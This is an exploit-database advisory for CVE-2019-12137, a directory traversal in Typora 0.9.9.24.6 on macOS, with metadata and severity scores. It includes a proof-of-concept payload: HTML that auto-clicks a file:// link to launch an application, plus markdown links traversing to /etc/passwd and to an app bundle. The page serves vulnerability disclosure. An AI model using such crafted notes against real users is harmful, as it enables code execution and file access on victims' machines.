Typora 0.9.9.24.6 - Directory Traversal

🗓️ 27 May 2019 00:00:00Reported by Dhiraj MishraType

exploitdb🔗 www.exploit-db.com👁 128 Views

Typora 0.9.9.24.6 directory traversal vulnerability allows arbitrary code execution on macOS via crafted note

Reporter	Title	Published	Views	Family All 12
0day.today	Typora 0.9.9.24.6 - Directory Traversal Vulnerability	27 May 201900:00	–	zdt
Circl	CVE-2019-12137	17 May 201923:47	–	circl
CVE	CVE-2019-12137	16 May 201913:20	–	cve
Cvelist	CVE-2019-12137	16 May 201913:20	–	cvelist
EUVD	EUVD-2019-3788	7 Oct 202500:30	–	euvd
exploitpack	Typora 0.9.9.24.6 - Directory Traversal	27 May 201900:00	–	exploitpack
NVD	CVE-2019-12137	16 May 201914:29	–	nvd
Packet Storm	Typora 0.9.9.24.6 Directory Traversal	27 May 201900:00	–	packetstorm
Prion	Directory traversal	16 May 201914:29	–	prion
Prion	Code injection	17 May 201923:29	–	prion

# Exploit Title: Code execution via path traversal
# Date: 17-05-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://typora.io
# Software Link: https://typora.io/download/Typora.dmg
# Version: 0.9.9.24.6
# Tested on: macOS Mojave v10.14.4
# CVE: CVE-2019-12137
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12137
# https://github.com/typora/typora-issues/issues/2505

Summary:
Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of
arbitrary programs, via a file:/// or ../ substring in a shared note via
abusing URI schemes.

Technical observation:
A crafted URI can be used in a note to perform this attack using file:///
has an argument or by traversing to any directory like
(../../../../something.app).

Since, Typro also has a feature of sharing notes, in such case attacker
could leverage this vulnerability and send crafted notes to the
victim to perform any further attack.

Simple exploit code would be:

<body>
<a href="file:\\\Applications\Calculator.app" id=inputzero>
  <img src="someimage.jpeg" alt="inputzero" width="104" height="142">
</a>
<script>
(function download() {
    document.getElementById('inputzero').click();
})()
</script>
</body>




And alt would be:

```
[Hello World](file:///../../../../etc/passwd)
[Hello World](file:///../../../../something.app)
```

27 May 2019 00:00Current

7.6High risk

Vulners AI Score7.6

CVSS 26.8

CVSS 37.8

EPSS0.02535